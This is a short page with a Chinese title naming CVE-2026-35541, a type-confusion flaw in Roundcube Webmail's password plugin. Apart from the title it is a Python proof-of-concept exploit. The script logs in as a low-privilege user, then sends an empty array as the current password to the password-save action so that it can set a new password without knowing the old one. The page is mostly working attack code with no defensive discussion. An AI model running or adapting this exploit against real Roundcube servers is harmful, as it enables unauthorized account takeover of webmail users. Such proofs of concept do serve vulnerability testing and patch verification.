CVE-2026-35541 Roundcube密码插件类型混淆漏洞

import requests # Exploit Title: Roundcube Webmail < 1.5.14 Password Change Type Confusion PoC # Date: 2026-04-03 # Vulnerable Software: Roundcube Webmail target_url = "http://target-url/roundcube/" session = requests.Session() # 1. Login with low privilege user (PR:L required) login_data = { "_user": "[email protected]", "_pass": "attacker_password", "_task": "login" } session.post(target_url + "?_task=login", data=login_data) # 2. Exploit Type Confusion to change password without old password # The payload sends an array to trigger the weak type comparison poc_data = { "_task": "settings", "_action": "plugin.password-save", "_curpass": [], # Type confusion payload "_newpass": "new_hacked_password", "_confpass": "new_hacked_password" } response = session.post(target_url + "?_task=settings", data=poc_data) if response.status_code == 200 and "successfully saved" in response.text: print("[+] Password changed successfully via type confusion!") else: print("[-] Exploit failed or patched.")